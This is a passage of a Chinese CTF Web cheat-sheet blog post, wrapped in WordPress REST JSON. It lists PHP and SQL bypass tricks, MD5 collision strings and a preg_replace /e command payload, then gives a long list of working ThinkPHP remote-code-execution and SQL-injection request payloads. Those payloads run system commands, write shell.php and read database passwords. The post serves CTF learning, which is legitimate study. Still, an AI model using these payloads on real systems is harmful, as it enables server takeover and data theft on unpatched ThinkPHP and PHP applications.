\/>\n\u82e5raw=FALSE\uff0c\u8f93\u51fa16\u4f4d\u539f\u59cb\u4e8c\u8fdb\u5236\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\uff1a\u5c06128 \u4f4d\u957f\u5ea6\u7684&quot;\u6307\u7eb9\u4fe1\u606f&quot;\u5206\u7ec4\u8f6c\u5316\u4e3a16\u4f4d\u7684\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u7136\u540e\u4e24\u4e2a\u5b57\u7b26\u4e3a\u4e00\u7ec4\uff0c\u4f9d\u7167ACILL\u7801\u8f6c\u5316\u4e3a\u5b57\u7b26\u4e32<\/p>\n<p>\u8f93\u5165<code>ffifdyop<\/code>\u67e5\u8be2\u7684\u65f6\u5019\uff0c\u67e5\u8be2\u8bed\u53e5\u53d8\u6210\uff1a<\/p>\n<pre><code class=\"language-sql\">SELECT * FROM admin WHERE username = &#039;admin&#039; and password = &#039;&#039;or&#039;6\ufffd]\ufffd\ufffd!r,\ufffd\ufffdb&#039;<\/code><\/pre>\n<p>\u5728mysql\u4e2d\uff0c\u5b57\u7b26\u4e32\u7528\u4f5cbool\u5224\u65ad\u7684\u65f6\u5019\uff0c\u4f1a\u63d0\u53d6\u5b57\u7b26\u4e32\u5f00\u5934\u5230\u7b2c\u4e00\u4e2a\u975e\u6570\u5b57\u7684\u5b57\u7b26\u4e32\u8f6c\u5316\u4e3a\u6570\u5b57\uff0c\u82e5\u5927\u4e8e0\u5219\u8fd4\u56detrue\u5426\u5219\u8fd4\u56defalse\uff0c\u56e0\u6b64\u8fd9\u91cc\u67e5\u8be2\u8bed\u53e5\u4e3a\u771f<\/p>\n<h4>is_numeric&amp;&amp;strcmp<\/h4>\n<ul>\n<li><code>is_numeric()<\/code>\u662f\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32\uff0c<code>is_numeric<\/code>\u51fd\u6570\u5bf9\u4e8e\u7a7a\u5b57\u7b26<code>%00<\/code>\uff0c\u65e0\u8bba\u662f<code>%00<\/code>\u653e\u5728\u524d\u540e\u90fd\u53ef\u4ee5\u5224\u65ad\u4e3a\u975e\u6570\u503c\uff0c\u800c<code>%20<\/code>\u7a7a\u683c\u5b57\u7b26\u53ea\u80fd\u653e\u5728\u6570\u503c\u540e<\/li>\n<li>\u5982\u679c\u662f\u5927\u5c0f\u6bd4\u8f83\u53ef\u7528\u79d1\u5b66\u8ba1\u6570\u6cd5\u7ed5\u8fc7<\/li>\n<li>PHP strcmp(str1\uff0cstr2) \u51fd\u6570\uff1a\u6bd4\u8f83\u4e24\u4e2a\u5b57\u7b26\u4e32\uff08\u533a\u5206\u5927\u5c0f\u5199\uff09\u3002\u5982\u679c str1 \u5c0f\u4e8e str2 \u8fd4\u56de &lt; 0\uff1b \u5982\u679c str1 \u5927\u4e8e str2 \u8fd4\u56de &gt; 0\uff1b\u5982\u679c\u4e24\u8005\u76f8\u7b49\u8fd4\u56de 0\u3002\u53ef\u77e5\uff0c\u671f\u671b\u4f20\u5165\u7684\u6570\u636e\u7c7b\u578b\u662f\u5b57\u7b26\u4e32\u7c7b\u578b\uff0c\u5982\u679c\u4f20\u5165\u975e\u5b57\u7b26\u4e32\u7c7b\u578b\u7684\u6570\u636e\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c06\u53d1\u751f\u9519\u8bef\u3002\u5728php 5.2\u7248\u672c\u4ee5\u53ca\u4e4b\u524d\u7684\u7248\u672c\u4e2d\uff0c\u5229\u7528strcmp\u51fd\u6570\u5c06\u6570\u7ec4\u4e0e\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\u4f1a\u8fd4\u56de-1\uff0c\u4f46\u662f\u4ece5.3\u5f00\u59cb\uff0c\u4f1a\u8fd4\u56de0<\/li>\n<\/ul>\n<h5>\u6570\u7ec4\u7ed5\u8fc7<\/h5>\n<p><code>md5()<\/code>\u51fd\u6570\u4e2d\u5982\u679c\u4f20\u5165\u7684\u4e0d\u662f\u5b57\u7b26\u4e32\u800c\u662f\u6570\u7ec4\uff0c\u4e0d\u4f46<code>md5()<\/code>\u51fd\u6570\u4e0d\u4f1a\u62a5\u9519\uff0c\u7ed3\u679c\u8fd8\u4f1a\u8fd4\u56de<code>null<\/code>\uff0c\u5728\u5f3a\u6bd4\u8f83\u91cc\u9762<code>null=null<\/code>\u4e3a<code>true<\/code>\u7ed5\u8fc7<\/p>\n<h5>fastcoll\u751f\u6210\u76f8\u540c\u7684MD5<\/h5>\n<p>\u9002\u7528\u4e8e<code>(string)$_POST[&#039;final_str1&#039;] !== (string)$_POST[&#039;final_str2&#039;]<\/code>\u8fd9\u6837\u6709\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\u7684\uff0c\u6b64\u65f6\u6570\u7ec4\u65e0\u6cd5\u7ed5\u8fc7<br \/>\n\u4ee5\u4e0b\u4e24\u4e2a\u53c2\u6570\u7684MD5\u503c\u76f8\u540c\uff08fastcoll.exe\u751f\u6210\uff09<\/p>\n<pre><code class=\"language-python\">#\u7f16\u7801\u540e\u4f20\u8f93\uff0c\u6709\u4e0d\u53ef\u89c1\u5b57\u7b26\n# Content-Type: application\/x-www-form-urlencoded\nfinal_str1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\nfinal_str2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2<\/code><\/pre>\n<h4>Strpos<\/h4>\n<p>strpos\u51fd\u6570\u5339\u914d\u7684\u65f6\u5019\u4f1a\u8fd4\u56de\u6a21\u5f0f\u5728\u5b57\u7b26\u4e32\u4e2d\u7684\u4f4d\u7f6e\uff0c\u5f53\u5728\u9996\u5b57\u7b26\u5339\u914d\u7684\u65f6\u5019\uff0c\u4f1a\u8fd4\u56de0\uff0c\u82e5\u76f4\u63a5\u7528\u8fd4\u56de\u503c\u4f5c\u4e3aif\u7684\u6761\u4ef6\u6bd4\u8f83\uff1a<br \/>\n<code>user=&#039;&lt;1111&#039;&amp;&amp;pass=&#039;&lt;1111&#039;<\/code>\u5373\u53ef\u901a\u8fc7\u6bd4\u8f83<\/p>\n<pre><code class=\"language-php\">        if (\n      (!strpos($user, &#039;&lt;&#039;) || !strpos($user, &#039;&gt;&#039;)) &amp;&amp;\n      (!strpos($pass, &#039;&lt;&#039;) || !strpos($pass, &#039;&gt;&#039;))\n    )<\/code><\/pre>\n<h4>PHP\u7684\u5b57\u7b26\u4e32\u89e3\u6790\u7279\u6027<\/h4>\n<p>PHP\u5c06\u67e5\u8be2\u5b57\u7b26\u4e32\uff08\u5728URL\u6216\u6b63\u6587\u4e2d\uff09\u8f6c\u6362\u4e3a\u5185\u90e8<code>$_GET<\/code>\u6216\u7684\u5173\u8054\u6570\u7ec4<code>$_POST<\/code>\u3002<br \/>\n\u4f8b\u5982\uff1a<code>\/?foo=bar<\/code>\u53d8\u6210<code>Array([foo] =&gt; &quot;bar&quot;<\/code>)\u3002<br \/>\n\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u67e5\u8be2\u5b57\u7b26\u4e32\u5728\u89e3\u6790\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u5c06\u67d0\u4e9b\u5b57\u7b26\u5220\u9664\u6216\u7528\u4e0b\u5212\u7ebf\u4ee3\u66ff<br \/>\n\u4f8b\u5982\uff0c<code>\/?%20news[id%00=42<\/code>\u4f1a\u8f6c\u6362\u4e3a<code>Array([news_id] =&gt; 42)<\/code><\/p>\n<p>\u82e5\u8fc7\u6ee4\u4e0b\u5212\u7ebf\u53ef\u7528.\u6216\u8005+\u4ee3\u66ff\uff0c\u4f8b\u5982f_name\u53ef\u7528f.name\u6216\u8005f+name\u4ee3\u66ff<br \/>\neval\u7b49\u6267\u884c\u51fd\u6570\u7684\u65f6\u5019\uff0c\u82e5\u8fc7\u6ee4\u4e86system\u3001exec\u7b49\u5173\u952e\u5b57\uff0c\u53ef\u5c1d\u8bd5\u52a0\\\uff0c\u5982\\system\uff0c\u53c2\u71672020\u6731\u96c0\u7ec4 phpweb<\/p>\n<h4>Bypass disable_function<\/h4>\n<p><a href=\"https:\/\/cloud.tencent.com\/developer\/article\/2069788\" target=\"_blank\"  rel=\"nofollow\" >\u539f\u7406<\/a><\/p>\n<ul>\n<li>LD_PRELOAD<\/li>\n<li><a href=\"https:\/\/blog.csdn.net\/qq_39249347\/article\/details\/107135439\" target=\"_blank\"  rel=\"nofollow\" >Shellshock<\/a><\/li>\n<li>Fastcgi<\/li>\n<li>PHP-FPM<\/li>\n<li>Apache_mod_cgi<\/li>\n<li>JSON_Serialize_UAF<\/li>\n<li>PHP7_GC_UAF<\/li>\n<li>PHP7_Backtrace_UAF<\/li>\n<li>PHP74_FFI<br \/>\n\u4f7f\u7528\u8681\u5251\u63d2\u4ef6\uff1a\u7ed5\u8fc7disable_functions\u5373\u53ef<\/li>\n<\/ul>\n<h4>preg_replace<\/h4>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p><code>preg_replace(pattern\uff0creplacement\uff0csubject)<\/code><br \/>\n<code>\/e<\/code>\u4fee\u6b63\u7b26\u4f7f<code>preg_replace()<\/code>\u5c06<code>replacement<\/code>\u53c2\u6570\u5f53\u4f5c<code>PHP<\/code>\u4ee3\u7801\uff08\u5728\u9002\u5f53\u7684\u9006\u5411\u5f15\u7528\u66ff\u6362\u5b8c\u4e4b\u540e\uff09\u3002<br \/>\nps\uff1a\u8981\u786e\u4fdd<code>replacement<\/code>\u6784\u6210\u4e00\u4e2a\u5408\u6cd5\u7684<code>PHP<\/code>\u4ee3\u7801\u5b57\u7b26\u4e32\uff0c\u5426\u5219<code>PHP<\/code>\u4f1a\u5728\u62a5\u544a\u5728\u5305\u542b <code>preg_replace()<\/code>\u7684\u884c\u4e2d\u51fa\u73b0\u8bed\u6cd5\u89e3\u6790\u9519\u8bef\u3002<\/p>\n<h5>\u653b\u51fb\u65b9\u5f0f<\/h5>\n<p><code>?pattern=\/evil\/e&amp;replacement=system(&#039;find -name *flag*&#039;)&amp;subject=evil<\/code><\/p>\n<h4>ThinkPHP RCE<\/h4>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p><a href=\"https:\/\/www.bilibili.com\/read\/cv10345589\" target=\"_blank\"  rel=\"nofollow\" >ThinkPHP RCE\u6f0f\u6d1e\u5206\u6790\u5408\u96c6<\/a><\/p>\n<h5>\u653b\u51fb\u65b9\u5f0f<\/h5>\n<pre><code class=\"language-bash\">thinkphp 5.0.22\n\n1\u3001http:\/\/192.168.1.1\/thinkphp\/public\/?s=.|think\\config\/get&amp;name=database.username\n2\u3001http:\/\/192.168.1.1\/thinkphp\/public\/?s=.|think\\config\/get&amp;name=database.password\n3\u3001http:\/\/url\/to\/thinkphp_5.0.22\/?s=index\/\\think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id\n4\u3001http:\/\/url\/to\/thinkphp_5.0.22\/?s=index\/\\think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1\nthinkphp 5\n\n5\u3001http:\/\/127.0.0.1\/tp5\/public\/?s=index\/\\think\\View\/display&amp;content=%22%3C?%3E%3C?php%20phpinfo();?%3E&amp;data=1\nthinkphp 5.0.21\n\n6\u3001http:\/\/localhost\/thinkphp_5.0.21\/?s=index\/\\think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id\n7\u3001http:\/\/localhost\/thinkphp_5.0.21\/?s=index\/\\think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1\nthinkphp 5.1.*\n\n8\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\Request\/input&amp;filter=phpinfo&amp;data=1\n9\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\Request\/input&amp;filter=system&amp;data=cmd\n10\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\template\\driver\\file\/write&amp;cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3E\n11\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\view\\driver\\Php\/display&amp;content=%3C?php%20phpinfo();?%3E\n12\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1\n13\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\app\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cmd\n14\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\Container\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1\n15\u3001http:\/\/url\/to\/thinkphp5.1.29\/?s=index\/\\think\\Container\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cmd\n\u672a\u77e5\u7248\u672c\n\n16\u3001?s=index\/\\think\\module\/action\/param1\/${@phpinfo()}\n17\u3001?s=index\/\\think\\Module\/Action\/Param\/${@phpinfo()}\n18\u3001?s=index\/\\think\/module\/aciton\/param1\/${@print(THINK_VERSION)}\n19\u3001index.php?s=\/home\/article\/view_recent\/name\/1&#039;\nheader = &quot;X-Forwarded-For:1&#039;) and extractvalue(1, concat(0x5c,(select md5(233))))#&quot;\n20\u3001index.php?s=\/home\/shopcart\/getPricetotal\/tag\/1%27\n21\u3001index.php?s=\/home\/shopcart\/getpriceNum\/id\/1%27\n22\u3001index.php?s=\/home\/user\/cut\/id\/1%27\n23\u3001index.php?s=\/home\/service\/index\/id\/1%27\n24\u3001index.php?s=\/home\/pay\/chongzhi\/orderid\/1%27\n25\u3001index.php?s=\/home\/pay\/index\/orderid\/1%27\n26\u3001index.php?s=\/home\/order\/complete\/id\/1%27\n27\u3001index.php?s=\/home\/order\/complete\/id\/1%27\n28\u3001index.php?s=\/home\/order\/detail\/id\/1%27\n29\u3001index.php?s=\/home\/order\/cancel\/id\/1%27\n30\u3001index.php?s=\/home\/pay\/index\/orderid\/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+\n31\u3001POST \/index.php?s=\/home\/user\/checkcode\/ HTTP\/1.1\nContent-Disposition: form-data; name=&quot;couponid&quot;\n1&#039;) union select sleep(&#039;&#039;&#039;+str(sleep_time)+&#039;&#039;&#039;)#\nthinkphp 5.0.23\uff08\u5b8c\u6574\u7248\uff09debug\u6a21\u5f0f\n\n32\u3001(post)public\/index.php (data)_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=touch%20\/tmp\/xxx\nthinkphp 5.0.23(\u5b8c\u6574\u7248)\n\n33\u3001\uff08post\uff09public\/index.php?s=captcha (data) _method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=ls -al\nthinkphp 5.0.10\uff08\u5b8c\u6574\u7248\uff09\n\n34\u3001(post)public\/index.php?s=index\/index\/index (data)s=whoami&amp;_method=__construct&amp;method&amp;filter[]=system\nthinkphp 5.1.* \u548c 5.2.* \u548c 5.0.*\n\n35\u3001(post)public\/index.php (data)c=exec&amp;f=calc.exe&amp;_method=filter\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h3>0X12 \u5176\u4ed6<\/h3>\n<p><a href=\"https:\/\/blog.csdn.net\/qq_36438489\/article\/details\/120632296\" target=\"_blank\"  rel=\"nofollow\" >strings $(find . | xargs) | grep flag<\/a><br \/>\n<a href=\"https:\/\/www.cnblogs.com\/zhengna\/p\/15926015.html\" target=\"_blank\"  rel=\"nofollow\" >\uff08\u5355\u5f15\u53f7\u9003\u9038\u3001nmap\u5199\u6587\u4ef6\uff09<\/a><br \/>\n<a href=\"http:\/\/t.zoukankan.com\/songwufan-p-13860290.html\" target=\"_blank\"  rel=\"nofollow\" >http\u57fa\u7840\u8ba4\u8bc1<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/zhang_qings\/article\/details\/122360736\" target=\"_blank\"  rel=\"nofollow\" >js \u4ee3\u7801\u6df7\u6dc6\u5904\u7406\u529e\u6cd5<\/a><br \/>\n<a href=\"https:\/\/www.cnblogs.com\/bk76120\/p\/13760176.html\" target=\"_blank\"  rel=\"nofollow\" >\u547d\u4ee4\u6267\u884c\u5199\u9a6c\u7684\u6b63\u786e\u65b9\u5f0f<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/l8947943\/article\/details\/122267074\" target=\"_blank\"  rel=\"nofollow\" >VM\u6c99\u7bb1\u9003\u9038-Buffer\u6cc4\u9732\u6570\u636e<\/a><br \/>\n<a href=\"https:\/\/www.wolai.com\/ctfhub\/hcFRbVUSwDUD1UTrPJbkob\" target=\"_blank\"  rel=\"nofollow\" >JWT\u57fa\u7840\u77e5\u8bc6<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/m0_62879498\/article\/details\/123903314\" target=\"_blank\"  rel=\"nofollow\" >JWT\u4fee\u6539\u7b7e\u540d\u7b97\u6cd5<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/qq_45615127\/article\/details\/117150993\" target=\"_blank\"  rel=\"nofollow\" >flask_session\u4f2a\u9020<\/a><\/p>\n<button class=\"simplefavorite-button\" data-postid=\"116\" data-siteid=\"1\" data-groupid=\"1\" data-favoritecount=\"0\" style=\"\">\u6536\u85cf <i class=\"sf-icon-star-empty\"><\/i><\/button>","protected":false},"excerpt":{"rendered":"<p>CTF Web\u65b9\u5411\u8003\u70b9\u603b\u7ed3 CTF Web 0X00 \u524d\u8a00 \u505a\u9898\u5df2\u7ecf\u5feb\u56db\u4e2a\u6708\u4e86\uff0c\u63a5\u89e6\u4e86\u5927\u5927\u5c0f\u5c0f\u7684\u9898\u578b\uff0c\u6536\u85cf\u7684\u5927\u5e08\u5085\u4eec\u7684\u89e3\u9898\u601d\u8def\u3001\u9898 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[10],"tags":[12,6,16],"class_list":["post-116","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-ctf","tag-web","tag-16"],"_links":{"self":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/116","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=116"}],"version-history":[{"count":1,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/116\/revisions"}],"predecessor-version":[{"id":117,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/116\/revisions\/117"}],"wp:attachment":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=116"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=116"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=116"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}